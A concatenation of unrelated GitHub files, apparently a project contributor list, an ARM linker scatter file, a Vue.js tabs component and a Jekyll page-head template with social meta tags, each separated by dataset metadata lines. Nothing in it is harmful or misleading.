Masato Ohba <[email protected]>
Masayuki Morita <[email protected]>
Mason Malone <[email protected]>
Mateusz Sulima <[email protected]>
Mathias Monnerville <[email protected]>
Mathieu Champlon <[email protected]>
Mathieu Le Marec - Pasquet <[email protected]>
Mathieu Parent <[email protected]>
Matt Apperson <[email protected]>
Matt Bachmann <[email protected]>
Matt Bentley <[email protected]>
Matt Haggard <[email protected]>
Matt Hoyle <[email protected]>
Matt McCormick <[email protected]>
Matt Moore <[email protected]>
Matt Richardson <[email protected]>
Matt Rickard <[email protected]>
Matt Robenolt <[email protected]>
Matt Schurenko <[email protected]>
Matt Williams <[email protected]>
Matthew Heon <[email protected]>
Matthew Lapworth <[email protected]>
Matthew Mayer <[email protected]>
Matthew Mosesohn <[email protected]>
Matthew Mueller <[email protected]>
Matthew Riley <[email protected]>
Matthias Klumpp <[email protected]>
Matthias Kühnle <[email protected]>
Matthias Rampke <[email protected]>
Matthieu Hauglustaine <[email protected]>
Mauricio Garavaglia <[email protected]>
mauriyouth <[email protected]>
Max Shytikov <[email protected]>
Maxim Fedchyshyn <[email protected]>
Maxim Ivanov <[email protected]>
Maxim Kulkin <[email protected]>
Maxim Treskin <[email protected]>
Maxime Petazzoni <[email protected]>
Meaglith Ma <[email protected]>
meejah <[email protected]>
Megan Kostick <[email protected]>
Mehul Kar <[email protected]>
Mei ChunTao <[email protected]>
Mengdi Gao <[email protected]>
Mert Yazıcıoğlu <[email protected]>
mgniu <[email protected]>
Micah Zoltu <[email protected]>
Michael A. Smith <[email protected]>
Michael Bridgen <[email protected]>
Michael Brown <[email protected]>
Michael Chiang <[email protected]>
Michael Crosby <[email protected]>
Michael Currie <[email protected]>
Michael Friis <[email protected]>
Michael Gorsuch <[email protected]>
Michael Grauer <[email protected]>
Michael Holzheu <[email protected]>
Michael Hudson-Doyle <[email protected]>
Michael Huettermann <[email protected]>
Michael Irwin <[email protected]>
Michael Käufl <[email protected]>
Michael Neale <[email protected]>
Michael Nussbaum <[email protected]>
Michael Prokop <[email protected]>
Michael Scharf <[email protected]>
Michael Spetsiotis <[email protected]>
Michael Stapelberg <[email protected]>
Michael Steinert <[email protected]>
Michael Thies <[email protected]>
Michael West <[email protected]>
Michal Fojtik <[email protected]>
Michal Gebauer <[email protected]>
Michal Jemala <[email protected]>
Michal Minář <[email protected]>
Michal Wieczorek <[email protected]>
Michaël Pailloncy <[email protected]>
Michał Czeraszkiewicz <[email protected]>
Michał Gryko <[email protected]>
Michiel@unhosted <[email protected]>
Mickaël FORTUNATO <[email protected]>
Miguel Angel Fernández <[email protected]>
Miguel Morales <[email protected]>
Mihai Borobocea <[email protected]>
Mihuleacc Sergiu <[email protected]>
Mike Brown <[email protected]>
Mike Casas <[email protected]>
Mike Chelen <[email protected]>
Mike Danese <[email protected]>
Mike Dillon <[email protected]>
Mike Dougherty <[email protected]>
Mike Estes <[email protected]>
Mike Gaffney <[email protected]>
Mike Goelzer <[email protected]>
Mike Leone <[email protected]>
Mike Lundy <[email protected]>
Mike MacCana <[email protected]>
Mike Naberezny <[email protected]>
Mike Snitzer <[email protected]>
mikelinjie <[email protected]>
Mikhail Sobolev <[email protected]>
Miklos Szegedi <[email protected]>
Milind Chawre <[email protected]>
Miloslav Trmač <[email protected]>
mingqing <[email protected]>
Mingzhen Feng <[email protected]>
Misty Stanley-Jones <[email protected]>
Mitch Capper <[email protected]>
Mizuki Urushida <[email protected]>
mlarcher <[email protected]>
Mohammad Banikazemi <[email protected]>
Mohammed Aaqib Ansari <[email protected]>
Mohit Soni <[email protected]>
Moorthy RS <[email protected]>
Morgan Bauer <[email protected]>
Morgante Pell <[email protected]>
Morgy93 <[email protected]>
Morten Siebuhr <[email protected]>
Morton Fox <[email protected]>
Moysés Borges <[email protected]>
mrfly <[email protected]>
Mrunal Patel <[email protected]>
Muayyad Alsadi <[email protected]>
Mustafa Akın <[email protected]>
Muthukumar R <[email protected]>
Máximo Cuadros <[email protected]>
Médi-Rémi Hashim <[email protected]>
Nace Oroz <[email protected]>
Nahum Shalman <[email protected]>
Nakul Pathak <[email protected]>
Nalin Dahyabhai <[email protected]>
Nan Monnand Deng <[email protected]>
Naoki Orii <[email protected]>
Natalie Parker <[email protected]>
Natanael Copa <[email protected]>
Nate Brennand <[email protected]>
Nate Eagleson <[email protected]>
Nate Jones <[email protected]>
Nathan Hsieh <[email protected]>
Nathan Kleyn <[email protected]>
Nathan LeClaire <[email protected]>
Nathan McCauley <[email protected]>
Nathan Williams <[email protected]>
Naveed Jamil <[email protected]>
Neal McBurnett <[email protected]>
Neil Horman <[email protected]>
Neil Peterson <[email protected]>
Nelson Chen <[email protected]>
Neyazul Haque <[email protected]>
Nghia Tran <[email protected]>
Niall O'Higgins <[email protected]>
Nicholas E. Rabenau <[email protected]>
Nick DeCoursin <[email protected]>
Nick Irvine <[email protected]>
Nick Neisen <[email protected]>
Nick Parker <[email protected]>
Nick Payne <[email protected]>
Nick Russo <[email protected]>
Nick Stenning <[email protected]>
Nick Stinemates <[email protected]>
NickrenREN <[email protected]>
Nicola Kabar <[email protected]>
Nicolas Borboën <[email protected]>
Nicolas De Loof <[email protected]>
Nicolas Dudebout <[email protected]>
Nicolas Goy <[email protected]>
Nicolas Kaiser <[email protected]>
Nicolas Sterchele <[email protected]>
Nicolás Hock Isaza <[email protected]>
Nigel Poulton <[email protected]>
Nik Nyby <[email protected]>
Nikhil Chawla <[email protected]>
NikolaMandic <[email protected]>
Nikolas Garofil <[email protected]>
Nikolay Milovanov <[email protected]>
Nirmal Mehta <[email protected]>
Nishant Totla <[email protected]>
NIWA Hideyuki <[email protected]>
Noah Meyerhans <[email protected]>
Noah Treuhaft <[email protected]>
NobodyOnSE <[email protected]>
noducks <[email protected]>
Nolan Darilek <[email protected]>
nponeccop <[email protected]>
Nuutti Kotivuori <[email protected]>
nzwsch <[email protected]>
O.S. Tezer <[email protected]>
objectified <[email protected]>
Oguz Bilgic <[email protected]>
Oh Jinkyun <[email protected]>
Ohad Schneider <[email protected]>
ohmystack <[email protected]>
Ole Reifschneider <[email protected]>
Oliver Neal <[email protected]>
Olivier Gambier <[email protected]>
Olle Jonsson <[email protected]>
Oriol Francès <[email protected]>
Oskar Niburski <[email protected]>
Otto Kekäläinen <[email protected]>
Ouyang Liduo <[email protected]>
Ovidio Mallo <[email protected]>
Panagiotis Moustafellos <[email protected]>
Paolo G. Giarrusso <[email protected]>
Pascal <[email protected]>
Pascal Borreli <[email protected]>
Pascal Hartig <[email protected]>
Patrick Böänziger <[email protected]>
Patrick Devine <[email protected]>
Patrick Hemmer <[email protected]>
Patrick Stapleton <[email protected]>
Patrik Cyvoct <[email protected]>
pattichen <[email protected]>
Paul <[email protected]>
paul <[email protected]>
Paul Annesley <[email protected]>
Paul Bellamy <[email protected]>
Paul Bowsher <[email protected]>
Paul Furtado <[email protected]>
Paul Hammond <[email protected]>
Paul Jimenez <[email protected]>
Paul Kehrer <[email protected]>
Paul Lietar <[email protected]>
Paul Liljenberg <[email protected]>
Paul Morie <[email protected]>
Paul Nasrat <[email protected]>
Paul Weaver <[email protected]>
Paulo Ribeiro <[email protected]>
Pavel Lobashov <[email protected]>
Pavel Pletenev <[email protected]>
Pavel Pospisil <[email protected]>
Pavel Sutyrin <[email protected]>
Pavel Tikhomirov <[email protected]>
Pavlos Ratis <[email protected]>
Pavol Vargovcik <[email protected]>
Pawel Konczalski <[email protected]>
Peeyush Gupta <[email protected]>
Peggy Li <[email protected]>
Pei Su <[email protected]>
Peng Tao <[email protected]>
Penghan Wang <[email protected]>
Per Weijnitz <[email protected]>
[email protected] <[email protected]>
Peter Bourgon <[email protected]>
Peter Braden <[email protected]>
Peter Bücker <[email protected]>
Peter Choi <[email protected]>
Peter Dave Hello <[email protected]>
Peter Edge <[email protected]>
Peter Ericson <[email protected]>
Peter Esbensen <[email protected]>
Peter Jaffe <[email protected]>
Peter Malmgren <[email protected]>
Peter Salvatore <[email protected]>
Peter Volpe <[email protected]>
Peter Waller <[email protected]>
Petr Švihlík <[email protected]>
Phil <[email protected]>
Phil Estes <[email protected]>
Phil Spitler <[email protected]>
Philip Alexander Etling <[email protected]>
Philip Monroe <[email protected]>
Philipp Gillé <[email protected]>
Philipp Wahala <[email protected]>
Philipp Weissensteiner <[email protected]>
Phillip Alexander <[email protected]>
phineas <[email protected]>
pidster <[email protected]>
Piergiuliano Bossi <[email protected]>
Pierre <[email protected]>
Pierre Carrier <[email protected]>
Pierre Dal-Pra <[email protected]>
Pierre Wacrenier <[email protected]>
Pierre-Alain RIVIERE <[email protected]>
Piotr Bogdan <[email protected]>
pixelistik <[email protected]>
Porjo <[email protected]>
Poul Kjeldager Sørensen <[email protected]>
Pradeep Chhetri <[email protected]>
Pradip Dhara <[email protected]>
Prasanna Gautam <[email protected]>
Pratik Karki <[email protected]>
Prayag Verma <[email protected]>
Priya Wadhwa <[email protected]>
Przemek Hejman <[email protected]>
Pure White <[email protected]>
pysqz <[email protected]>
Qiang Huang <[email protected]>
Qinglan Peng <[email protected]>
qudongfang <[email protected]>
Quentin Brossard <[email protected]>
Quentin Perez <[email protected]>
Quentin Tayssier <[email protected]>
r0n22 <[email protected]>
Rafal Jeczalik <[email protected]>
Rafe Colton <[email protected]>
Raghavendra K T <[email protected]>
Raghuram Devarakonda <[email protected]>
Raja Sami <[email protected]>
Rajat Pandit <[email protected]>
Rajdeep Dua <[email protected]>
Ralf Sippl <[email protected]>
Ralle <[email protected]>
Ralph Bean <[email protected]>
Ramkumar Ramachandra <[email protected]>
Ramon Brooker <[email protected]>
Ramon van Alteren <[email protected]>
Ray Tsang <[email protected]>
ReadmeCritic <[email protected]>
Recursive Madman <[email protected]>
Reficul <[email protected]>
Regan McCooey <[email protected]>
Remi Rampin <[email protected]>
Remy Suen <[email protected]>
Renato Riccieri Santos Zannon <[email protected]>
Renaud Gaubert <[email protected]>
Rhys Hiltner <[email protected]>
Ri Xu <[email protected]>
Ricardo N Feliciano <[email protected]>
Rich Moyse <[email protected]>
Rich Seymour <[email protected]>
Richard <[email protected]>
Richard Burnison <[email protected]>
Richard Harvey <[email protected]>
Richard Mathie <[email protected]>
Richard Metzler <[email protected]>
Richard Scothern <[email protected]>
Richo Healey <[email protected]>
Rick Bradley <[email protected]>
Rick van de Loo <[email protected]>
Rick Wieman <[email protected]>
Rik Nijessen <[email protected]>
Riku Voipio <[email protected]>
Riley Guerin <[email protected]>
Ritesh H Shukla <[email protected]>
Riyaz Faizullabhoy <[email protected]>
Rob Vesse <[email protected]>
Robert Bachmann <[email protected]>
Robert Bittle <[email protected]>
Robert Obryk <[email protected]>
Robert Schneider <[email protected]>
Robert Stern <[email protected]>
Robert Terhaar <[email protected]>
Robert Wallis <[email protected]>
Roberto G. Hashioka <[email protected]>
Roberto Muñoz Fernández <[email protected]>
Robin Naundorf <[email protected]>
Robin Schneider <[email protected]>
Robin Speekenbrink <[email protected]>
robpc <[email protected]>
Rodolfo Carvalho <[email protected]>
Rodrigo Vaz <[email protected]>
Roel Van Nyen <[email protected]>
Roger Peppe <[email protected]>
Rohit Jnagal <[email protected]>
Rohit Kadam <[email protected]>
Rojin George <[email protected]>
Roland Huß <[email protected]>
Roland Kammerer <[email protected]>
Roland Moriz <[email protected]>
Roma Sokolov <[email protected]>
Roman Dudin <[email protected]>
Roman Strashkin <[email protected]>
Ron Smits <[email protected]>
Ron Williams <[email protected]>
root <[email protected]>
root <[email protected]>
root <[email protected]>
root <[email protected]>
Rory Hunter <[email protected]>
Rory McCune <[email protected]>
Ross Boucher <[email protected]>
Rovanion Luckey <[email protected]>
Royce Remer <[email protected]>
Rozhnov Alexandr <[email protected]>
Rudolph Gottesheim <[email protected]>
Rui Lopes <[email protected]>
Runshen Zhu <[email protected]>
Ryan Abrams <[email protected]>
Ryan Anderson <[email protected]>
Ryan Aslett <[email protected]>
Ryan Belgrave <[email protected]>
Ryan Detzel <[email protected]>
Ryan Fowler <[email protected]>
Ryan Liu <[email protected]>
Ryan McLaughlin <[email protected]>
Ryan O'Donnell <[email protected]>
Ryan Seto <[email protected]>
Ryan Simmen <[email protected]>
Ryan Stelly <[email protected]>
Ryan Thomas <[email protected]>
Ryan Trauntvein <[email protected]>
Ryan Wallner <[email protected]>
Ryan Zhang <[email protected]>
ryancooper7 <[email protected]>
RyanDeng <[email protected]>
Rémy Greinhofer <[email protected]>
s. rannou <[email protected]>
s00318865 <[email protected]>
Sabin Basyal <[email protected]>
Sachin Joshi <[email protected]>
Sagar Hani <[email protected]>
Sainath Grandhi <[email protected]>
Sakeven Jiang <[email protected]>
Sally O'Malley <[email protected]>
Sam Abed <[email protected]>
Sam Alba <[email protected]>
Sam Bailey <[email protected]>
Sam J Sharpe <[email protected]>
Sam Neirinck <[email protected]>
Sam Reis <[email protected]>
Sam Rijs <[email protected]>
Sambuddha Basu <[email protected]>
Sami Wagiaalla <[email protected]>
Samuel Andaya <[email protected]>
Samuel Dion-Girardeau <[email protected]>
Samuel Karp <[email protected]>
Samuel PHAN <[email protected]>
Sandeep Bansal <[email protected]>
Sankar சங்கர் <[email protected]>
Sanket Saurav <[email protected]>
Santhosh Manohar <[email protected]>
sapphiredev <[email protected]>
Sargun Dhillon <[email protected]>
Sascha Andres <[email protected]>
Satnam Singh <[email protected]>
Satoshi Amemiya <[email protected]>
Satoshi Tagomori <[email protected]>
Scott Bessler <[email protected]>
Scott Collier <[email protected]>
Scott Johnston <[email protected]>
Scott Stamp <[email protected]>
Scott Walls <[email protected]>
sdreyesg <[email protected]>
Sean Christopherson <[email protected]>
Sean Cronin <[email protected]>
Sean Lee <[email protected]>
Sean McIntyre <[email protected]>
Sean OMeara <[email protected]>
Sean P. Kane <[email protected]>
Sean Rodman <[email protected]>
Sebastiaan van Steenis <[email protected]>
Sebastiaan van Stijn <[email protected]>
Senthil Kumar Selvaraj <[email protected]>
Senthil Kumaran <[email protected]>
SeongJae Park <[email protected]>
Seongyeol Lim <[email protected]>
Serge Hallyn <[email protected]>
Sergey Alekseev <[email protected]>
Sergey Evstifeev <[email protected]>
Sergii Kabashniuk <[email protected]>
Serhat Gülçiçek <[email protected]>
Sevki Hasirci <[email protected]>
Shane Canon <[email protected]>
Shane da Silva <[email protected]>
Shaun Kaasten <[email protected]>
shaunol <[email protected]>
Shawn Landden <[email protected]>
Shawn Siefkas <[email protected]>
shawnhe <[email protected]>
Shayne Wang <[email protected]>
Shekhar Gulati <[email protected]>
Sheng Yang <[email protected]>
Shengbo Song <[email protected]>
Shev Yan <[email protected]>
Shih-Yuan Lee <[email protected]>
Shijiang Wei <[email protected]>
Shijun Qin <[email protected]>
Shishir Mahajan <[email protected]>
Shoubhik Bose <[email protected]>
Shourya Sarcar <[email protected]>
shuai-z <[email protected]>
Shukui Yang <[email protected]>
Shuwei Hao <[email protected]>
Sian Lerk Lau <[email protected]>
Sidhartha Mani <[email protected]>
sidharthamani <[email protected]>
Silas Sewell <[email protected]>
Silvan Jegen <[email protected]>
Simei He <[email protected]>
Simon Eskildsen <[email protected]>
Simon Ferquel <[email protected]>
Simon Leinen <[email protected]>
Simon Menke <[email protected]>
Simon Taranto <[email protected]>
Simon Vikstrom <[email protected]>
Sindhu S <[email protected]>
Sjoerd Langkemper <[email protected]>
Solganik Alexander <[email protected]>
Solomon Hykes <[email protected]>
Song Gao <[email protected]>
Soshi Katsuta <[email protected]>
Soulou <[email protected]>
Spencer Brown <[email protected]>
Spencer Smith <[email protected]>
Sridatta Thatipamala <[email protected]>
Sridhar Ratnakumar <[email protected]>
Srini Brahmaroutu <[email protected]>
Srinivasan Srivatsan <[email protected]>
Stanislav Bondarenko <[email protected]>
Steeve Morin <[email protected]>
Stefan Berger <[email protected]>
Stefan J. Wernli <[email protected]>
Stefan Praszalowicz <[email protected]>
Stefan S. <[email protected]>
Stefan Scherer <[email protected]>
Stefan Staudenmeyer <[email protected]>
Stefan Weil <[email protected]>
Stephan Spindler <[email protected]>
Stephen Crosby <[email protected]>
Stephen Day <[email protected]>
Stephen Drake <[email protected]>
Stephen Rust <[email protected]>
Steve Desmond <[email protected]>
Steve Dougherty <[email protected]>
Steve Durrheimer <[email protected]>
Steve Francia <[email protected]>
Steve Koch <[email protected]>
Steven Burgess <[email protected]>
Steven Erenst <[email protected]>
Steven Hartland <[email protected]>
Steven Iveson <[email protected]>
Steven Merrill <[email protected]>
Steven Richards <[email protected]>
Steven Taylor <[email protected]>
Subhajit Ghosh <[email protected]>
Sujith Haridasan <[email protected]>
Sun Gengze <[email protected]>
Sun Jianbo <[email protected]>
Sunny Gogoi <[email protected]>
Suryakumar Sudar <[email protected]>
Sven Dowideit <[email protected]>
Swapnil Daingade <[email protected]>
Sylvain Baubeau <[email protected]>
Sylvain Bellemare <[email protected]>
Sébastien <[email protected]>
Sébastien HOUZÉ <[email protected]>
Sébastien Luttringer <[email protected]>
Sébastien Stormacq <[email protected]>
Tabakhase <[email protected]>
Tadej Janež <[email protected]>
TAGOMORI Satoshi <[email protected]>
tang0th <[email protected]>
Tangi Colin <[email protected]>
Tatsuki Sugiura <[email protected]>
Tatsushi Inagaki <[email protected]>
Taylor Jones <[email protected]>
tbonza <[email protected]>
Ted M. Young <[email protected]>
Tehmasp Chaudhri <[email protected]>
Tejesh Mehta <[email protected]>
terryding77 <[email protected]>
tgic <[email protected]>
Thatcher Peskens <[email protected]>
theadactyl <[email protected]>
Thell 'Bo' Fowler <[email protected]>
Thermionix <[email protected]>
Thijs Terlouw <[email protected]>
Thomas Bikeev <[email protected]>
Thomas Frössman <[email protected]>
Thomas Gazagnaire <[email protected]>
Thomas Grainger <[email protected]>
Thomas Hansen <[email protected]>
Thomas Leonard <[email protected]>
Thomas Léveil <[email protected]>
Thomas Orozco <[email protected]>
Thomas Riccardi <[email protected]>
Thomas Schroeter <[email protected]>
Thomas Sjögren <[email protected]>
Thomas Swift <[email protected]>
Thomas Tanaka <[email protected]>
Thomas Texier <[email protected]>
Ti Zhou <[email protected]>
Tianon Gravi <[email protected]>
Tianyi Wang <[email protected]>
Tibor Vass <[email protected]>
Tiffany Jernigan <[email protected]>
Tiffany Low <[email protected]>
Tim Bart <[email protected]>
Tim Bosse <[email protected]>
Tim Dettrick <[email protected]>
Tim Düsterhus <[email protected]>
Tim Hockin <[email protected]>
Tim Potter <[email protected]>
Tim Ruffles <[email protected]>
Tim Smith <[email protected]>
Tim Terhorst <[email protected]>
Tim Wang <[email protected]>
Tim Waugh <[email protected]>
Tim Wraight <[email protected]>
Tim Zju <[email protected]>
timfeirg <[email protected]>
Timothy Hobbs <[email protected]>
tjwebb123 <[email protected]>
tobe <[email protected]>
Tobias Bieniek <[email protected]>
Tobias Bradtke <[email protected]>
Tobias Gesellchen <[email protected]>
Tobias Klauser <[email protected]>
Tobias Munk <[email protected]>
Tobias Schmidt <[email protected]>
Tobias Schwab <[email protected]>
Todd Crane <[email protected]>
Todd Lunter <[email protected]>
Todd Whiteman <[email protected]>
Toli Kuznets <[email protected]>
Tom Barlow <[email protected]>
Tom Booth <[email protected]>
Tom Denham <[email protected]>
Tom Fotherby <[email protected]>
Tom Howe <[email protected]>
Tom Hulihan <[email protected]>
Tom Maaswinkel <[email protected]>
Tom Sweeney <[email protected]>
Tom Wilkie <[email protected]>
Tom X. Tobin <[email protected]>
Tomas Tomecek <[email protected]>
Tomasz Kopczynski <[email protected]>
Tomasz Lipinski <[email protected]>
Tomasz Nurkiewicz <[email protected]>
Tommaso Visconti <[email protected]>
Tomáš Hrčka <[email protected]>
Tonny Xu <[email protected]>
Tony Abboud <[email protected]>
Tony Daws <[email protected]>
Tony Miller <[email protected]>
toogley <[email protected]>
Torstein Husebø <[email protected]>
Tõnis Tiigi <[email protected]>
tpng <[email protected]>
tracylihui <[email protected]>
Trapier Marshall <[email protected]>
Travis Cline <[email protected]>
Travis Thieman <[email protected]>
Trent Ogren <[email protected]>
Trevor <[email protected]>
Trevor Pounds <[email protected]>
Trevor Sullivan <[email protected]>
Trishna Guha <[email protected]>
Tristan Carel <[email protected]>
Troy Denton <[email protected]>
Tycho Andersen <[email protected]>
Tyler Brock <[email protected]>
Tzu-Jung Lee <[email protected]>
uhayate <[email protected]>
Ulysse Carion <[email protected]>
Umesh Yadav <[email protected]>
Utz Bacher <[email protected]>
vagrant <[email protected]>
Vaidas Jablonskis <[email protected]>
vanderliang <[email protected]>
Veres Lajos <[email protected]>
Victor Algaze <[email protected]>
Victor Coisne <[email protected]>
Victor Costan <[email protected]>
Victor I. Wood <[email protected]>
Victor Lyuboslavsky <[email protected]>
Victor Marmol <[email protected]>
Victor Palma <[email protected]>
Victor Vieux <[email protected]>
Victoria Bialas <[email protected]>
Vijaya Kumar K <[email protected]>
Viktor Stanchev <[email protected]>
Viktor Vojnovski <[email protected]>
VinayRaghavanKS <[email protected]>
Vincent Batts <[email protected]>
Vincent Bernat <[email protected]>
Vincent Demeester <[email protected]>
Vincent Giersch <[email protected]>
Vincent Mayers <[email protected]>
Vincent Woo <[email protected]>
Vinod Kulkarni <[email protected]>
Vishal Doshi <[email protected]>
Vishnu Kannan <[email protected]>
Vitaly Ostrosablin <[email protected]>
Vitor Monteiro <[email protected]>
Vivek Agarwal <[email protected]>
Vivek Dasgupta <[email protected]>
Vivek Goyal <[email protected]>
Vladimir Bulyga <[email protected]>
Vladimir Kirillov <[email protected]>
Vladimir Pouzanov <[email protected]>
Vladimir Rutsky <[email protected]>
Vladimir Varankin <[email protected]>
VladimirAus <[email protected]>
Vlastimil Zeman <[email protected]>
Vojtech Vitek (V-Teq) <[email protected]>
waitingkuo <[email protected]>
Walter Leibbrandt <[email protected]>
Walter Stanish <[email protected]>
Wang Chao <[email protected]>
Wang Guoliang <[email protected]>
Wang Jie <[email protected]>
Wang Long <[email protected]>
Wang Ping <[email protected]>
Wang Xing <[email protected]>
Wang Yuexiao <[email protected]>
Ward Vandewege <[email protected]>
WarheadsSE <[email protected]>
Wassim Dhif <[email protected]>
Wayne Chang <[email protected]>
Wayne Song <[email protected]>
Weerasak Chongnguluam <[email protected]>
Wei Wu <[email protected]>
Wei-Ting Kuo <[email protected]>
weipeng <[email protected]>
weiyan <[email protected]>
Weiyang Zhu <[email protected]>
Wen Cheng Ma <[email protected]>
Wendel Fleming <[email protected]>
Wenjun Tang <[email protected]>
Wenkai Yin <[email protected]>
Wentao Zhang <[email protected]>
Wenxuan Zhao <[email protected]>
Wenyu You <[email protected]>
Wenzhi Liang <[email protected]>
Wes Morgan <[email protected]>
Wewang Xiaorenfine <[email protected]>
Will Dietz <[email protected]>
Will Rouesnel <[email protected]>
Will Weaver <[email protected]>
willhf <[email protected]>
William Delanoue <[email protected]>
William Henry <[email protected]>
William Hubbs <[email protected]>
William Martin <[email protected]>
William Riancho <[email protected]>
William Thurston <[email protected]>
WiseTrem <[email protected]>
Wolfgang Powisch <[email protected]>
Wonjun Kim <[email protected]>
xamyzhao <[email protected]>
Xianglin Gao <[email protected]>
Xianlu Bird <[email protected]>
XiaoBing Jiang <[email protected]>
Xiaoxu Chen <[email protected]>
Xiaoyu Zhang <[email protected]>
xiekeyang <[email protected]>
Xinbo Weng <[email protected]>
Xinzi Zhou <[email protected]>
Xiuming Chen <[email protected]>
Xuecong Liao <[email protected]>
xuzhaokui <[email protected]>
Yahya <[email protected]>
YAMADA Tsuyoshi <[email protected]>
Yamasaki Masahide <[email protected]>
Yan Feng <[email protected]>
Yang Bai <[email protected]>
Yang Pengfei <[email protected]>
yangchenliang <[email protected]>
Yanqiang Miao <[email protected]>
Yao Zaiyong <[email protected]>
Yassine Tijani <[email protected]>
Yasunori Mahata <[email protected]>
Yazhong Liu <[email protected]>
Yestin Sun <[email protected]>
Yi EungJun <[email protected]>
Yibai Zhang <[email protected]>
Yihang Ho <[email protected]>
Ying Li <[email protected]>
Yohei Ueda <[email protected]>
Yong Tang <[email protected]>
Yongzhi Pan <[email protected]>
Yosef Fertel <[email protected]>
You-Sheng Yang (楊有勝) <[email protected]>
Youcef YEKHLEF <[email protected]>
Yu Changchun <[email protected]>
Yu Chengxia <[email protected]>
Yu Peng <[email protected]>
Yu-Ju Hong <[email protected]>
Yuan Sun <[email protected]>
Yuanhong Peng <[email protected]>
Yuhao Fang <[email protected]>
Yunxiang Huang <[email protected]>
Yurii Rashkovskii <[email protected]>
Yves Junqueira <[email protected]>
Zac Dover <[email protected]>
Zach Borboa <[email protected]>
Zachary Jaffee <[email protected]>
Zain Memon <[email protected]>
Zaiste! <[email protected]>
Zane DeGraffenried <[email protected]>
Zefan Li <[email protected]>
Zen Lin(Zhinan Lin) <[email protected]>
Zhang Kun <[email protected]>
Zhang Wei <[email protected]>
Zhang Wentao <[email protected]>
ZhangHang <[email protected]>
zhangxianwei <[email protected]>
Zhenan Ye <[email protected]>
zhenghenghuo <[email protected]>
Zhenkun Bi <[email protected]>
Zhou Hao <[email protected]>
Zhu Guihua <[email protected]>
Zhu Kunjia <[email protected]>
Zhuoyun Wei <[email protected]>
Zilin Du <[email protected]>
zimbatm <[email protected]>
Ziming Dong <[email protected]>
ZJUshuaizhou <[email protected]>
zmarouf <[email protected]>
Zoltan Tombol <[email protected]>
Zou Yu <[email protected]>
zqh <[email protected]>
Zuhayr Elahi <[email protected]>
Zunayed Ali <[email protected]>
Álex González <[email protected]>
Álvaro Lázaro <[email protected]>
Átila Camurça Alves <[email protected]>
尹吉峰 <[email protected]>
徐俊杰 <[email protected]>
慕陶 <[email protected]>
搏通 <[email protected]>
黄艳红00139573 <[email protected]>
| {
"pile_set_name": "Github"
} |
LR_IROM1 0x00000000 0x40000 { ; load region size_region (256k)
ER_IROM1 0x00000000 0x40000 { ; load address = execution address
*.o (RESET, +First)
*(InRoot$$Sections)
.ANY (+RO)
}
; 8_byte_aligned(16+47 vect * 4 bytes) = 0x100
; 32kB (0x8000) - 0x100 = 0x7F00
RW_IRAM1 (0x10000000+0x100) (0x8000-0x100) {
.ANY (+RW +ZI)
}
}
| {
"pile_set_name": "Github"
} |
<template>
<component :is="layoutComponent">
<template slot="nav">
<div class="nav-wrapper">
<ul class="nav"
role="tablist"
:class="
[type ? `nav-pills-${type}`: '',
pills ? 'nav-pills': 'nav-tabs',
{'nav-pills-icons': icons},
{'nav-fill': fill},
{'nav-pills-circle': circle},
{'justify-content-center': centered},
tabNavClasses
]">
<li v-for="tab in tabs"
class="nav-item"
:key="tab.id || tab.title">
<a data-toggle="tab"
role="tab"
class="nav-link"
:href="`#${tab.id || tab.title}`"
@click.prevent="activateTab(tab)"
:aria-selected="tab.active"
:class="{active: tab.active}">
<tab-item-content :tab="tab">
</tab-item-content>
</a>
</li>
</ul>
</div>
</template>
<div slot="content" class="tab-content"
:class="[tabContentClasses]">
<slot v-bind="slotData"></slot>
</div>
</component>
</template>
<script>
import PillsLayout from "./PillsLayout";
import TabsLayout from "./TabsLayout";
export default {
name: "tabs",
components: {
TabsLayout,
PillsLayout,
TabItemContent: {
props: ["tab"],
render(h) {
return h("div", [this.tab.$slots.title || this.tab.title]);
}
}
},
props: {
type: {
type: String,
default: "",
validator: value => {
let acceptedValues = [
"",
"primary",
"info",
"success",
"warning",
"danger"
];
return acceptedValues.indexOf(value) !== -1;
},
description: "Tabs type (primary|info|danger|default|warning|success)"
},
pills: {
type: Boolean,
default: true,
description: "Whether tabs are pills"
},
circle: {
type: Boolean,
default: false,
description: "Whether tabs are circle"
},
fill: {
type: Boolean,
default: true,
description: "Whether to fill each tab"
},
activeTab: {
type: String,
default: "",
description: "Default active tab name"
},
tabNavWrapperClasses: {
type: [String, Object],
default: "",
description: "Tab Nav wrapper (div) css classes"
},
tabNavClasses: {
type: [String, Object],
default: "",
description: "Tab Nav (ul) css classes"
},
tabContentClasses: {
type: [String, Object],
default: "",
description: "Tab content css classes"
},
icons: {
type: Boolean,
description: "Whether tabs should be of icon type (small no text)"
},
centered: {
type: Boolean,
description: "Whether tabs are centered"
},
value: {
type: String,
description: "Initial value (active tab)"
}
},
provide() {
return {
addTab: this.addTab,
removeTab: this.removeTab
};
},
data() {
return {
tabs: [],
activeTabIndex: 0
};
},
computed: {
layoutComponent() {
return this.pills ? "pills-layout" : "tabs-layout";
},
slotData() {
return {
activeTabIndex: this.activeTabIndex,
tabs: this.tabs
};
}
},
methods: {
findAndActivateTab(title) {
let tabToActivate = this.tabs.find(t => t.title === title);
if (tabToActivate) {
this.activateTab(tabToActivate);
}
},
activateTab(tab) {
if (this.handleClick) {
this.handleClick(tab);
}
this.deactivateTabs();
tab.active = true;
this.activeTabIndex = this.tabs.findIndex(t => t.active);
},
deactivateTabs() {
this.tabs.forEach(tab => {
tab.active = false;
});
},
addTab(tab) {
if (this.activeTab === tab.name) {
tab.active = true;
}
this.tabs.push(tab);
},
removeTab(tab) {
const tabs = this.tabs;
const index = tabs.indexOf(tab);
if (index > -1) {
tabs.splice(index, 1);
}
}
},
mounted() {
this.$nextTick(() => {
if (this.value) {
this.findAndActivateTab(this.value);
} else {
if (this.tabs.length > 0) {
this.activateTab(this.tabs[0]);
}
}
});
},
watch: {
value(newVal) {
this.findAndActivateTab(newVal);
}
}
};
</script>
| {
"pile_set_name": "Github"
} |
<meta charset="utf-8" />
<meta content='text/html; charset=utf-8' http-equiv='Content-Type'>
<meta http-equiv='X-UA-Compatible' content='IE=edge'>
<meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0'>
<meta name="twitter:card" content="summary" />
<mata property="og:image" content="{{site.url}}{{ site.baseurl }}/images/404.jpg">
<meta name="twitter:image" content="{{site.url}}{{ site.baseurl }}/images/404.jpg" />
<meta name="twitter:domain" content="https://info-cn.github.io/Terminus/">
<meta name="author" content="{{ site.name }}" />
{% if page.title %}
<meta property="twitter:title" content="{{ page.title }}" />
{% endif %}
